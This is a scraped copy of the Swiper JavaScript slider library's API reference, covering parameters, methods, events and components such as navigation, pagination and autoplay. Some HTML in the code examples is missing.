text:
# Swiper API

## Swiper Full HTML Layout

Slide 1

Slide 2

Slide 3

            ...

## Initialize Swiper

Now, when we have Swiper's HTML, we need to initialize it using the following function:

new Swiper(swiperContainer, parameters)- initialize swiper with options

*   swiperContainer - HTMLElement or string (with CSS Selector) of swiper container HTML element. Required.
*   parameters - object - object with Swiper parameters. Optional.
*   **Method returns initialized Swiper instance**

For example:

    var mySwiper = new Swiper('.swiper-container', {
        speed: 400,
        spaceBetween: 100
    });

**After** you initialize Swiper it is possible to access to Swiper's instance on its HTMLElement. It is `swiper` property of Swiper's HTML container element:

    var mySwiper = document.querySelector('.swiper-container').swiper

    // Now you can use all slider methods like
    mySwiper.slideNext();

## Swiper Parameters

Let's look on list of all available parameters:

Parameter

Type

Default

Description

init

boolean

true

Whether Swiper should be initialised automatically when you create an instance. If disabled, then you need to init it manually by calling `mySwiper.init()`

updateOnWindowResize

boolean

true

Swiper will recalculate slides position on window resize (orientationchange)

initialSlide

number

0

Index number of initial slide.

direction

string

'horizontal'

Could be 'horizontal' or 'vertical' (for vertical slider).

speed

number

300

Duration of transition between slides (in ms)

setWrapperSize

boolean

false

Enabled this option and plugin will set width/height on swiper wrapper equal to total size of all slides. Mostly should be used as compatibility fallback option for browser that don't support flexbox layout well

virtualTranslate

boolean

false

Enabled this option and swiper will be operated as usual except it will not move, real translate values on wrapper will not be set. Useful when you may need to create custom slide transition

width

number

Swiper width (in px). Parameter allows to force Swiper width. Useful **only** if you initialize Swiper when it is hidden.

Setting this parameter will make Swiper not responsive

height

number

Swiper height (in px). Parameter allows to force Swiper height. Useful **only** if you initialize Swiper when it is hidden.

Setting this parameter will make Swiper not responsive

autoHeight

boolean

false

Set to **true** and slider wrapper will adopt its height to the height of the currently active slide

roundLengths

boolean

false

Set to **true** to round values of slides width and height to prevent blurry texts on usual resolution screens (if you have such)

nested

boolean

false

Set to **true** on nested Swiper for correct touch events interception. Use only on nested swipers that use same direction as the parent one

uniqueNavElements

boolean

true

If enabled (by default) and navigation elements' parameters passed as a string (like `".pagination"`) then Swiper will look for such elements through child elements first. Applies for pagination, prev/next buttons and scrollbar elements

effect

string

'slide'

Tranisition effect. Could be "slide", "fade", "cube", "coverflow" or "flip"

runCallbacksOnInit

boolean

true

Fire [Transition/SlideChange][Start/End] events on swiper initialization. Such events will be fired on initialization in case of your initialSlide is not 0, or you use loop mode

watchOverflow

boolean

false

When enabled Swiper will be disabled and hide navigation buttons on case there are not enough slides for sliding

on

object

Register event handlers

CSS Scroll Snap

cssMode

boolean

false

When enabled it will use modern CSS Scroll Snap API. It doesn't support all of Swiper's features, but potentially should bring a much better performance in simple configurations.

This is what is not supported when it is enabled:

*   All effects (Fade, Coverflow, Flip, Cube)
*   Zoom
*   Virtual Slides
*   `speed` parameter will have no effect
*   All transition start/end related events (use `slideChange` instead)
*   `slidesPerGroup` has limited support
*   `centeredSlides` is not supported
*   Changing slides with with anything except touch/swipe and mousewheel will happen without transition in browsers without `scrollTo.behaviour = 'smooth'` support (e.g. in desktop and iOS Safari)
*   `simulateTouch` doesn't have effect and "dragging" with mouse doesn't work
*   `resistance` doesn't have any effect
*   `allowSlidePrev/Next`
*   `swipeHandler`
*   `freeMode` and all relevant features

Slides grid

spaceBetween

number

0

Distance between slides in px.

If you use "margin" css property to the elements which go into Swiper in which you pass "spaceBetween" into, **navigation** might not work property.

slidesPerView

number or 'auto'

1

Number of slides per view (slides visible at the same time on slider's container).

If you use it with "auto" value and along with **loop: true** then you need to specify **loopedSlides** parameter with amount of slides to loop (duplicate)

**slidesPerView: 'auto'** is currently not compatible with multirow mode, when **slidesPerColumn** > 1

slidesPerColumn

number

1

Number of slides per column, for multirow layout

**slidesPerColumn > 1** is currently not compatible with loop mode (**loop: true**)

slidesPerColumnFill

string

'column'

Could be 'column' or 'row'. Defines how slides should fill rows, by column or by row. When 'column' it uses `flex-direction: column` layout which requires specified height on swiper-container.

slidesPerGroup

number

1

Set numbers of slides to define and enable group sliding. Useful to use with slidesPerView > 1

slidesPerGroupSkip

number

0

The parameter works in the following way:

If `slidesPerGroupSkip` equals `0` (default), no slides are excluded from grouping, and the resulting behaviour is the same as without this change.

If `slidesPerGroupSkip` is equal or greater than `1` the first X slides are treated as single groups, whereas all following slides are grouped by the `slidesPerGroup` value.

centeredSlides

boolean

false

If true, then active slide will be centered, not always on the left side.

centeredSlidesBounds

boolean

false

If true, then active slide will be centered without adding gaps at the beginning and end of slider. Required `centeredSlides: true`. Not intended to be used with `loop` or `pagination`

slidesOffsetBefore

number

0

Add (in px) additional slide offset in the beginning of the container (before all slides)

slidesOffsetAfter

number

0

Add (in px) additional slide offset in the end of the container (after all slides)

normalizeSlideIndex

boolean

true

Normalize slide index. See [#1766](https://github.com/nolimits4web/Swiper/pull/1766)

centerInsufficientSlides

boolean

false

When enabled it center slides if the amount of slides less than `slidesPerView`. Not intended to be used `loop` mode and `slidesPerColumn`

Grab Cursor

grabCursor

boolean

false

This option may a little improve desktop usability. If **true**, user will see the "grab" cursor when hover on Swiper

Touches

touchEventsTarget

string

'wrapper'

Target element to listen touch events on. Can be **'container'** (to listen for touch events on swiper-container) or **'wrapper'** (to listen for touch events on swiper-wrapper)

touchRatio

number

1

Touch ratio

touchAngle

number

45

Allowable angle (in degrees) to trigger touch move

simulateTouch

boolean

true

If true, Swiper will accept mouse events like touch events (click and drag to change slides)

shortSwipes

boolean

true

Set to **false** if you want to disable short swipes

longSwipes

boolean

true

Set to **false** if you want to disable long swipes

longSwipesRatio

number

0.5

Ratio to trigger swipe to next/previous slide during long swipes

longSwipesMs

number

300

Minimal duration (in ms) to trigger swipe to next/previous slide during long swipes

followFinger

boolean

true

If disabled, then slider will be animated only when you release it, it will not move while you hold your finger on it

allowTouchMove

boolean

true

If false, then the only way to switch the slide is use of external API functions like `slidePrev` or `slideNext`

threshold

number

0

Threshold value in px. If "touch distance" will be lower than this value then swiper will not move

touchStartPreventDefault

boolean

true

If disabled, `touchstart` (`mousedown`) event won't be prevented

touchStartForcePreventDefault

boolean

false

Force to always prevent default for `touchstart` (`mousedown`) event

touchMoveStopPropagation

boolean

false

If enabled, then propagation of "touchmove" will be stopped

iOSEdgeSwipeDetection

boolean

false

Enable to release Swiper events for swipe-to-go-back work in iOS UIWebView

iOSEdgeSwipeThreshold

number

20

Area (in px) from left edge of the screen to release touch events for swipe-to-go-back in iOS UIWebView

touchReleaseOnEdges

boolean

false

Enable to release touch events on slider edge position (beginning, end) to allow for further page scrolling

passiveListeners

boolean

true

Passive event listeners will be used by default where possible to improve scrolling performance on mobile devices. But if you need to use `e.preventDefault` and you have conflict with it, then you should disable this parameter

Touch Resistance

resistance

boolean

true

Set to **false** if you want to disable resistant bounds

resistanceRatio

number

0.85

This option allows you to control resistance ratio

Swiping / No swiping

preventInteractionOnTransition

boolean

false

When enabled it won't allow to change slides by swiping or navigation/pagination buttons during transition

allowSlidePrev

boolean

true

Set to **false** to disable swiping to previous slide direction (to left or top)

allowSlideNext

boolean

true

Set to **false** to disable swiping to next slide direction (to right or bottom)

noSwiping

boolean

true

Enable/disable swiping on elements matched to class specified in `noSwipingClass`

noSwipingClass

string

'swiper-no-swiping'

Specify `noSwiping`'s' element css class

noSwipingSelector

string

Can be used instead of `noSwipingClass` to specify elements to disable swiping on. For example `'input'` will disable swiping on all inputs

swipeHandler

string / HTMLElement

null

String with CSS selector or HTML element of the container with pagination that will work as only available handler for swiping

Clicks

preventClicks

boolean

true

Set to **true** to prevent accidental unwanted clicks on links during swiping

preventClicksPropagation

boolean

true

Set to **true** to stop clicks event propagation on links during swiping

slideToClickedSlide

boolean

false

Set to **true** and click on any slide will produce transition to this slide

Freemode

freeMode

boolean

false

If **true** then slides will not have fixed positions

freeModeMomentum

boolean

true

If **true**, then slide will keep moving for a while after you release it

freeModeMomentumRatio

number

1

Higher value produces larger momentum distance after you release slider

freeModeMomentumVelocityRatio

number

1

Higher value produces larger momentum velocity after you release slider

freeModeMomentumBounce

boolean

true

Set to **false** if you want to disable momentum bounce in free mode

freeModeMomentumBounceRatio

number

1

Higher value produces larger momentum bounce effect

freeModeMinimumVelocity

number

0.02

Minimum touchmove-velocity required to trigger free mode momentum

freeModeSticky

boolean

false

Set to **true** to enable snap to slides positions in free mode

Progress

watchSlidesProgress

boolean

false

Enable this feature to calculate each slides progress

watchSlidesVisibility

boolean

false

`watchSlidesProgress` should be enabled. Enable this option and slides that are in viewport will have additional visible class

Images

preloadImages

boolean

true

When enabled Swiper will force to load all images

updateOnImagesReady

boolean

true

When enabled Swiper will be reinitialized after all inner images ( tags) are loaded. Required `preloadImages: true`

Loop

loop

boolean

false

Set to **true** to enable continuous loop mode

If you use it along with `slidesPerView: 'auto'` then you need to specify `loopedSlides` parameter with amount of slides to loop (duplicate)

Also, because of nature of how the loop mode works, it will add duplicated slides. Such duplicated classes will have additional classes:

*   `swiper-slide-duplicate` - represents duplicated slide
*   `swiper-slide-duplicate-active` - represents slide duplicated to the currently active slide
*   `swiper-slide-duplicate-next` - represents slide duplicated to the slide next to active
*   `swiper-slide-duplicate-prev` - represents slide duplicated to the slide previous to active

loopAdditionalSlides

number

0

Addition number of slides that will be cloned after creating of loop

loopedSlides

number

null

If you use `slidesPerView:'auto'` with loop mode you should tell to Swiper how many slides it should loop (duplicate) using this parameter

loopFillGroupWithBlank

boolean

false

Enable and loop mode will fill groups with insufficient number of slides with blank slides. Good to be used with `slidesPerGroup` parameter

Breakpoints

breakpoints

object

Allows to set different parameter for different responsive breakpoints (screen sizes). Not all parameters can be changed in breakpoints, only those which are not required different layout and logic, like `slidesPerView`, `slidesPerGroup`, `spaceBetween`, `slidesPerColumn`. Such parameters like `loop` and `effect` won't work. For example:

    var swiper = new Swiper('.swiper-container', {
      // Default parameters
      slidesPerView: 1,
      spaceBetween: 10,
      // Responsive breakpoints
      breakpoints: {
        // when window width is >= 320px
        320: {
          slidesPerView: 2,
          spaceBetween: 20
        },
        // when window width is >= 480px
        480: {
          slidesPerView: 3,
          spaceBetween: 30
        },
        // when window width is >= 640px
        640: {
          slidesPerView: 4,
          spaceBetween: 40
        }
      }
    })

Since version 5.3.0 it also supports "ratio" (width/height) breakpoints:

    var swiper = new Swiper('.swiper-container', {
      slidesPerView: 1,
      spaceBetween: 10,
      breakpoints: {
<EMAIL_ADDRESS>{
          slidesPerView: 2,
          spaceBetween: 20,
        },
<EMAIL_ADDRESS>{
          slidesPerView: 3,
          spaceBetween: 40,
        },
<EMAIL_ADDRESS>{
          slidesPerView: 4,
          spaceBetween: 50,
        },
      }
    });

Observer

observer

boolean

false

Set to **true** to enable Mutation Observer on Swiper and its elements. In this case Swiper will be updated (reinitialized) each time if you change its style (like hide/show) or modify its child elements (like adding/removing slides)

observeParents

boolean

false

Set to **true** if you also need to watch Mutations for Swiper parent elements

observeSlideChildren

boolean

false

Set to **true** if you also need to watch Mutations for Swiper slide children elements

Namespace

containerModifierClass

string

'swiper-container-'

The beginning of the modifier CSS class that can be added to swiper container depending on different parameters

slideClass

string

'swiper-slide'

CSS class name of slide

slideActiveClass

string

'swiper-slide-active'

CSS class name of currently active slide

slideDuplicateActiveClass

string

'swiper-slide-duplicate-active'

CSS class name of duplicated slide which represents the currently active slide

slideVisibleClass

string

'swiper-slide-visible'

CSS class name of currently visible slide

slideDuplicateClass

string

'swiper-slide-duplicate'

CSS class name of slide duplicated by loop mode

slideNextClass

string

'swiper-slide-next'

CSS class name of slide which is right after currently active slide

slideDuplicateNextClass

string

'swiper-slide-duplicate-next'

CSS class name of duplicated slide which represents the slide next to active slide

slidePrevClass

string

'swiper-slide-prev'

CSS class name of slide which is right before currently active slide

slideDuplicatePrevClass

string

'swiper-slide-duplicate-prev'

CSS class name of duplicated slide which represents the slide previous to active slide

wrapperClass

string

'swiper-wrapper'

CSS class name of slides' wrapper

## Slider Methods & Properties

After we initialize Slider we have its initialized instance in variable (like `mySwiper` variable in example above) with helpful methods and properties:

Properties

mySwiper.params

Object with passed initialization parameters

mySwiper.$el

Dom7 element with slider container HTML element. To get vanilla HTMLElement use `mySwiper.el`

mySwiper.$wrapperEl

Dom7 element with slider wrapper HTML element. To get vanilla HTMLElement use `mySwiper.wrapperEl`

mySwiper.slides

Dom7 array-like collection of slides HTML elements. To get specific slide HTMLElement use `mySwiper.slides[1]`

mySwiper.width

Width of container

mySwiper.height

Height of container

mySwiper.translate

Current value of wrapper translate

mySwiper.progress

Current progress of wrapper translate (from 0 to 1)

mySwiper.activeIndex

Index number of currently active slide

Note, that in loop mode active index value will be always shifted on a number of looped/duplicated slides

mySwiper.realIndex

Index number of currently active slide considering duplicated slides in loop mode

mySwiper.previousIndex

Index number of previously active slide

mySwiper.isBeginning

**true** if slider on most "left"/"top" position

mySwiper.isEnd

**true** if slider on most "right"/"bottom" position

mySwiper.animating

**true** if swiper is in transition

mySwiper.touches

Object with the following touch event properties:

*   mySwiper.touches.startX
*   mySwiper.touches.startY
*   mySwiper.touches.currentX
*   mySwiper.touches.currentY
*   mySwiper.touches.diff

mySwiper.clickedIndex

Index number of last clicked slide

mySwiper.clickedSlide

Link to last clicked slide (_HTMLElement_)

mySwiper.allowSlideNext

Disable / enable ability to slide to the next slides by assigning `false`/`true` to this property

mySwiper.allowSlidePrev

Disable / enable ability to slide to the previous slides by assigning `false`/`true` to this property

mySwiper.allowTouchMove

Disable / enable ability move slider by grabbing it with mouse or by touching it with finger (on touch screens) by assigning `false`/`true` to this property

Methods

mySwiper.slideNext(speed, runCallbacks);

Run transition to next slide

*   speed - number - transition duration (in ms). _Optional_
*   runCallbacks - boolean - Set it to `false` (by default it is `true`) and transition will not produce transition events. _Optional_

mySwiper.slidePrev(speed, runCallbacks);

Run transition to previous slide

*   speed - number - transition duration (in ms). _Optional_
*   runCallbacks - boolean - Set it to `false` (by default it is `true`) and transition will not produce transition events. _Optional_

mySwiper.slideTo(index, speed, runCallbacks);

Run transition to the slide with index number equal to 'index' parameter for the duration equal to 'speed' parameter.

*   index - number - index number of slide
*   speed - number - transition duration (in ms). _Optional_
*   runCallbacks - boolean - Set it to `false` (by default it is `true`) and transition will not produce transition events. _Optional_

mySwiper.slideToLoop(index, speed, runCallbacks);

Does the same as .slideTo but for the case when used with enabled `loop`. So this method will slide to slides with `realIndex` matching to passed `index`

*   index - number - index number of original slide
*   speed - number - transition duration (in ms). _Optional_
*   runCallbacks - boolean - Set it to `false` (by default it is `true`) and transition will not produce transition events. _Optional_

mySwiper.slideReset(speed, runCallbacks);

Reset swiper position to currently active slide for the duration equal to 'speed' parameter.

*   speed - number - transition duration (in ms). _Optional_
*   runCallbacks - boolean - Set it to `false` (by default it is `true`) and transition will not produce transition events. _Optional_

mySwiper.slideToClosest(speed, runCallbacks);

Reset swiper position to closest slide/snap point for the duration equal to 'speed' parameter.

*   speed - number - transition duration (in ms). _Optional_
*   runCallbacks - boolean - Set it to `false` (by default it is `true`) and transition will not produce transition events. _Optional_

mySwiper.updateAutoHeight(speed);

Force swiper to update its height (when autoHeight enabled) for the duration eqaul to 'speed' parameter

*   speed - number - transition duration (in ms). _Optional_
*   runCallbacks - boolean - Set it to `false` (by default it is `true`) and transition will not produce transition events. _Optional_

mySwiper.update();

You should call it after you add/remove slides manually, or after you hide/show it, or do any custom DOM modifications with Swiper

This method also includes subcall of the following methods which you can use separately:

*   mySwiper.updateSize() - recalculate size of swiper container
*   mySwiper.updateSlides() - recalculate number of slides and their offsets. Useful after you add/remove slides with JavaScript
*   mySwiper.updateProgress() - recalculate swiper progress
*   mySwiper.updateSlidesClasses() - update active/prev/next classes on slides and bullets

mySwiper.changeDirection(direction);

Changes slider direction from horizontal to vertical and back.

*   direction - string - new direction, e.g. `horizontal` or `vertical`. _Optional_. If not specified, then will automatically changed to opposite direction

mySwiper.detachEvents();

Detach all events listeners

mySwiper.attachEvents();

Atach all events listeners again

mySwiper.destroy(deleteInstance, cleanStyles);

Destroy slider instance and detach all events listeners, where

*   deleteInstance - boolean - Set it to `false` (by default it is `true`) to not to delete Swiper instance
*   cleanStyles - boolean - Set it to `true` (by default it is `true`) and all custom styles will be removed from slides, wrapper and container. Useful if you need to destroy Swiper and to init again with new options or in different direction

mySwiper.appendSlide(slides);

Add new slides to the end. `slides` could be HTMLElement or HTML string with new slide or array with such slides, for example:

    mySwiper.appendSlide('
Slide 10"
')
    mySwiper.appendSlide([
       '
Slide 10"
',
       '
Slide 11"
'
    ]);

mySwiper.prependSlide(slides);

Add new slides to the beginning. `slides` could be HTMLElement or HTML string with new slide or array with such slides, for example:

    mySwiper.prependSlide('
Slide 0"
')
    mySwiper.prependSlide([
       '
Slide 1"
',
       '
Slide 2"
'
    ]);

mySwiper.addSlide(index, slides);

Add new slides to the required index. `slides` could be HTMLElement or HTML string with new slide or array with such slides, for example:

    mySwiper.addSlide(1, '
Slide 10"
')
    mySwiper.addSlide(1, [
       '
Slide 10"
',
       '
Slide 11"
'
    ]);

mySwiper.removeSlide(slideIndex);

Remove selected slides. `slideIndex` could be a number with slide index to remove or array with indexes, for example:

    mySwiper.removeSlide(0); //remove first slide
    mySwiper.removeSlide([0, 1]); //remove first and second slides

mySwiper.removeAllSlides();

Remove all slides

mySwiper.setTranslate(translate);

Set custom css3 transform's translate value for swiper wrapper

mySwiper.getTranslate();

Get current value of swiper wrapper css3 transform translate

mySwiper.translateTo(translate, speed, runCallbacks, translateBounds);

Animate custom css3 transform's translate value for swiper wrapper

*   translate - number - translate value (in px).
*   speed - number - transition duration (in ms).
*   runCallbacks - boolean - Set it to `false` (by default it is `true`) and transition will not produce transition events. _Optional_
*   translateBounds - boolean - Set it to `false` (by default it is `true`) and transition value can extend beyond min and max translate. _Optional_

mySwiper.on(event, handler)

Add event listener

mySwiper.once(event, handler)

Add event listener that will be executed only once

mySwiper.off(event, handler)

Remove event listener for specified event

mySwiper.off(event)

Remove all listeners for specified event

mySwiper.unsetGrabCursor();

Unset grab cursor

mySwiper.setGrabCursor();

Set grab cursor

## Events

Swiper comes with a bunch of useful events you can listen. Events can be assigned in two ways:

1.  Using `on` parameter on swiper initialization:

        var mySwiper = new Swiper('.swiper-container', {
          // ...
          on: {
            init: function () {
              console.log('swiper initialized');
            },
          },
        };

2.  Using `on` method after swiper initialization.

        var mySwiper = new Swiper('.swiper-container', {
          // ...
        };
        mySwiper.on('slideChange', function () {
          console.log('slide changed');
        });

Please note, that `this` keyword within event handler always points to Swiper instance

Event name

Arguments

Description

init

Event will be fired right after Swiper initialization. Note that with `swiper.on('init')` syntax it will work only in case you set `init: false` parameter:

    var swiper = new Swiper('.swiper-container', {
      init: false,
      // other parameters
    })
    swiper.on('init', function() { /* do something */ });
    // init Swiper
    swiper.init();

Otherwise use it as the parameter:

    var swiper = new Swiper('.swiper-container', {
      // other parameters
      on: {
        init: function () {
          /* do something */
        },
      }
    });

beforeDestroy

Event will be fired right before Swiper destroyed

slideChange

Event will be fired when currently active slide is changed

slideChangeTransitionStart

Event will be fired in the beginning of animation to other slide (next or previous).

slideChangeTransitionEnd

Event will be fired after animation to other slide (next or previous).

slideNextTransitionStart

Same as "slideChangeTransitionStart" but for "forward" direction only

slideNextTransitionEnd

Same as "slideChangeTransitionEnd" but for "forward" direction only

slidePrevTransitionStart

Same as "slideChangeTransitionStart" but for "backward" direction only

slidePrevTransitionEnd

Same as "slideChangeTransitionEnd" but for "backward" direction only

transitionStart

Event will be fired in the beginning of transition.

transitionEnd

Event will be fired after transition.

touchStart

event

Event will be fired when user touch Swiper. Receives 'touchstart' event as an arguments.

touchMove(event)

event

Event will be fired when user touch and move finger over Swiper. Receives 'touchmove' event as an arguments.

touchMoveOpposite

event

Event will be fired when user touch and move finger over Swiper in direction opposite to `direction` parameter. Receives 'touchmove' event as an arguments.

sliderMove

event

Event will be fired when user touch and move finger over Swiper and move it. Receives 'touchmove' event as an arguments.

touchEnd

event

Event will be fired when user release Swiper. Receives 'touchend' event as an arguments.

click

event

Event will be fired when user click/tap on Swiper. Receives 'touchend' event as an arguments.

tap

event

Event will be fired when user click/tap on Swiper. Receives 'touchend' event as an arguments.

doubleTap

event

Event will be fired when user double tap on Swiper's container. Receives 'touchend' event as an arguments

imagesReady

Event will be fired right after all inner images are loaded. `updateOnImagesReady` should be also enabled

progress

progress

Event will be fired when Swiper progress is changed, as an arguments it receives **progress** that is always from 0 to 1

reachBeginning

Event will be fired when Swiper reach its beginning (initial position)

reachEnd

Event will be fired when Swiper reach last slide

fromEdge

Event will be fired when Swiper goes from `beginning` or `end` position

setTranslate

translate

Event will be fired when swiper's wrapper change its position. Receives current translate value as an arguments

setTransition

transition

Event will be fired everytime when swiper starts animation. Receives current transition duration (in ms) as an arguments

resize

Event will be fired on window resize right before swiper's onresize manipulation

observerUpdate

Event will be fired if observer is enabled and it detects DOM mutations

beforeLoopFix

Event will be fired right before "loop fix"

loopFix

Event will be fired after "loop fix"

## Components

### Navigation

#### Navigation Parameters

Parameter

Type

Default

Description

navigation

object

Object with navigation parameters. For example:

    var mySwiper = new Swiper('.swiper-container', {
      navigation: {
        nextEl: '.swiper-button-next',
        prevEl: '.swiper-button-prev',
      },
    });

{

nextEl

string / HTMLElement

null

String with CSS selector or HTML element of the element that will work like "next" button after click on it

prevEl

string / HTMLElement

null

String with CSS selector or HTML element of the element that will work like "prev" button after click on it

hideOnClick

boolean

false

Toggle navigation buttons visibility after click on Slider's container

disabledClass

string

'swiper-button-disabled'

CSS class name added to navigation button when it becomes disabled

hiddenClass

string

'swiper-button-hidden'

CSS class name added to navigation button when it becomes hidden

}

#### Navigation Methods & Properties

Properties

mySwiper.navigation.nextEl

HTMLElement of "next" navigation button

mySwiper.navigation.prevEl

HTMLElement of "previous" navigation button

Methods

mySwiper.navigation.update();

Update navigation buttons state (enabled/disabled)

#### Navigation Events

Event name

Arguments

Description

navigationHide

Event will be fired on navigation hide

navigationShow

Event will be fired on navigation show

### Pagination

#### Pagination Parameters

Parameter

Type

Default

Description

pagination

object

Object with navigation parameters. For example:

    var mySwiper = new Swiper('.swiper-container', {
      pagination: {
        el: '.swiper-pagination',
        type: 'bullets',
      },
    });

{

el

string

null

String with CSS selector or HTML element of the container with pagination

type

string

'bullets'

String with type of pagination. Can be "bullets", "fraction", "progressbar" or "custom"

bulletElement

string

'span'

Defines which HTML tag will be use to represent single pagination bullet. Only for **bullets** pagination type.

dynamicBullets

boolean

false

Good to enable if you use bullets pagination with a lot of slides. So it will keep only few bullets visible at the same time.

dynamicMainBullets

number

1

The number of main bullets visible when **dynamicBullets** enabled.

hideOnClick

boolean

true

Toggle (hide/true) pagination container visibility after click on Slider's container

clickable

boolean

false

If **true** then clicking on pagination button will cause transition to appropriate slide. Only for **bullets** pagination type

progressbarOpposite

boolean

false

Makes pagination progressbar opposite to Swiper's `direction` parameter, means vertical progressbar for horizontal swiper direction and horizontal progressbar for vertical swiper direction

formatFractionCurrent

function(number)

number => number

Custom format fraction pagination current number. Function receives current number, and you need to return formatted value

formatFractionTotal

function(number)

number => number

Custom format fraction pagination total number. Function receives total number, and you need to return formatted value

renderBullet

function(index, className)

null

This parameter allows totally customize pagination bullets, you need to pass here a function that accepts **index** number of pagination bullet and required element class name (**className**). Only for **bullets** pagination type

For example, with this code, we can add slide number into pagination bullet:

    var swiper = new Swiper('.swiper-container', {
      //...
      renderBullet: function (index, className) {
        return '' + (index + 1) + '';
      }
    });

renderFraction

function(currentClass, totalClass)

null

This parameter allows to customize "fraction" pagination html. Only for **fraction** pagination type

For example:

    var swiper = new Swiper('.swiper-container', {
      //...
      renderFraction: function (currentClass, totalClass) {
          return '' +
                  ' of ' +
                  '';
      }
    });

renderProgressbar

function(progressbarFillClass)

null

This parameter allows to customize "progress" pagination. Only for **progress** pagination type

For example:

    var swiper = new Swiper('.swiper-container', {
      //...
      renderProgressbar: function (progressbarFillClass) {
          return '';
      }
    });

renderCustom

function(swiper, current, total)

null

This parameter is required for **custom** pagination type where you have to specify how it should be rendered

For example:

    var swiper = new Swiper('.swiper-container', {
      //...
      renderCustom: function (swiper, current, total) {
          return current + ' of ' + total;
      }
    });

bulletClass

string

'swiper-pagination-bullet'

CSS class name of single pagination bullet

bulletActiveClass

string

'swiper-pagination-bullet-active'

CSS class name of currently active pagination bullet

modifierClass

string

'swiper-pagination-'

The beginning of the modifier CSS class name that will be added to pagination depending on parameters

currentClass

string

'swiper-pagination-current'

CSS class name of the element with currently active index in "fraction" pagination

totalClass

string

'swiper-pagination-total'

CSS class name of the element with total number of "snaps" in "fraction" pagination

hiddenClass

string

'swiper-pagination-hidden'

CSS class name of pagination when it becomes inactive

progressbarFillClass

string

'swiper-pagination-progressbar-fill'

CSS class name of pagination progressbar fill element

clickableClass

string

'swiper-pagination-clickable'

CSS class name set to pagination when it is clickable

lockClass

string

'swiper-pagination-lock'

CSS class name set to pagination when it is disabled

}

#### Pagination Methods & Properties

Properties

mySwiper.pagination.el

HTMLElement of pagination container element

mySwiper.pagination.bullets

Dom7 array-like collection of pagination bullets HTML elements. To get specific slide HTMLElement use `mySwiper.pagination.bullets[1]`

Methods

mySwiper.pagination.render();

Render pagination layout

mySwiper.pagination.update();

Update pagination state (enabled/disabled/active)

#### Pagination Events

Event name

Arguments

Description

paginationRender

swiper, paginationEl

Event will be fired after pagination rendered

paginationUpdate

swiper, paginationEl

Event will be fired when pagination updated

paginationHide

Event will be fired on pagination hide

paginationShow

Event will be fired on pagination show

### Scrollbar

#### Scrollbar Parameters

Parameter

Type

Default

Description

scrollbar

object

Object with scrollbar parameters. For example:

    var mySwiper = new Swiper('.swiper-container', {
      scrollbar: {
        el: '.swiper-scrollbar',
        draggable: true,
      },
    });

{

el

string / HTMLElement

null

String with CSS selector or HTML element of the container with scrollbar.

hide

boolean

true

Hide scrollbar automatically after user interaction

draggable

boolean

false

Set to **true** to enable make scrollbar draggable that allows you to control slider position

snapOnRelease

boolean

true

Set to **false** to unsnap slider position to slides when you release scrollbar

dragSize

string/number

'auto'

Size of scrollbar draggable element in px

lockClass

string

'swiper-scrollbar-lock'

Scrollbar element additional CSS class when it is disabled

dragClass

string

'swiper-scrollbar-drag'

Scrollbar draggable element CSS class

}

#### Scrollbar Methods & Properties

Properties

mySwiper.scrollbar.el

HTMLElement of Scrollbar container element

mySwiper.scrollbar.dragEl

HTMLElement of Scrollbar draggable handler element

Methods

mySwiper.scrollbar.updateSize();

Updates scrollbar track and handler sizes

### Autoplay

#### Autoplay Parameters

Parameter

Type

Default

Description

autoplay

object/boolean

Object with autoplay parameters or boolean **true** to enable with default settings. For example:

    var mySwiper = new Swiper('.swiper-container', {
      autoplay: {
        delay: 5000,
      },
    });

{

delay

number

3000

Delay between transitions (in ms). If this parameter is not specified, auto play will be disabled

If you need to specify different delay for specific slides you can do it by using `data-swiper-autoplay` (in ms) attribute on slide:

stopOnLastSlide

boolean

false

Enable this parameter and autoplay will be stopped when it reaches last slide (has no effect in loop mode)

disableOnInteraction

boolean

true

Set to false and autoplay will not be disabled after user interactions (swipes), it will be restarted every time after interaction

reverseDirection

boolean

false

Enables autoplay in reverse direction

waitForTransition

boolean

true

When enabled autoplay will wait for wrapper transition to continue. Can be disabled in case of using Virtual Translate when your slider may not have transition

}

#### Autoplay Methods & Properties

Properties

mySwiper.autoplay.running

Whether autoplay enabled and running

Methods

mySwiper.autoplay.start();

Start autoplay

mySwiper.autoplay.stop();

Stop autoplay

#### Autoplay Events

Event name

Arguments

Description

autoplayStart

Event will be fired in when autoplay started

autoplayStop

Event will be fired when autoplay stopped

autoplay

Event will be fired when slide changed with autoplay

### Parallax

Swiper supports parallax transition effects for swiper/slides nested elements. There are two types of parallax elements supported:

*   Direct child elements of `swiper-container`. Parallax effect for such elements will depend on total slider progress. Useful for parallax backgrounds
*   Slides child elements. Parallax effect for such elements will depend on slide progress

To enable parallax effects you need to init Swiper with passed `parallax:true` parameter and add one of the following (or mix) attributes to required elements:

*   `data-swiper-parallax` - enable transform-translate parallax transition. This attribute may accept:
    *   **number** - value in px (as for title, subtitle in example above) to move element depending on progress. In this case such element will be moved on ± this value in px depending on slide position (next or previous)
    *   **percentage** - (as for "parallax-bg") to move element depending on progress and on its size. In this case such element will be moved on ± this percentage of its size (width in horizontal direction, and height in vertical direction) depending on slide position (next or previous). So if element has 400px width and you specified data-swiper-parallax="50%" then it will be moved on ± 200px
*   `data-swiper-parallax-x` - same but for x-axis direction
*   `data-swiper-parallax-y` - same but for y-axis direction
*   `data-swiper-parallax-scale` - scale ratio of the parallax element when it is in "inactive" (not on active slide) state
*   `data-swiper-parallax-opacity` - opacity of the parallax element when it is in "inactive" (not on active slide) state
*   `data-swiper-parallax-duration` - custom transition duration for parallax elements

Slide 1

Subtitle

Lorem ipsum dolor sit amet, ...

I will change opacity

I will change scale

        ...

#### Parallax Parameters

Parameter

Type

Default

Description

parallax

boolean

false

Enable, if you want to use "parallaxed" elements inside of slider

### Lazy Loading

To enable lazy loading, first of all we need a special layout for images or elements with background in slides:

As you see:

*   Each lazy loaded image/element should have additional "swiper-lazy" class
*   Lazy image source for  element should be specified in "data-src" attribute instead of "src"
*   Lazy image source set for  element should be specified in "data-srcset" attribute instead of "srcset"
*   Lazy background image source should be specified in "data-background" attribute

You may also add animated preloader spinner to slide which will be removed automatically after image loaded:

Or white-one for dark layout:

After that we need to enable lazy loading on Swiper initialization:

    var swiper = new Swiper('.swiper-container', {
        // Disable preloading of all images
        preloadImages: false,
        // Enable lazy loading
        lazy: true
    });

If you use slidesPerView "auto" or slidesPerView > 1, then you should also enable **watchSlidesVisibility** and Swiper will load images in currently visible slides

#### Lazy Loading Parameters

Parameter

Type

Default

Description

lazy

object/boolean

Enables images lazy loading. Object with lazy loading parameters or boolean **true** to enable with default settings. For example:

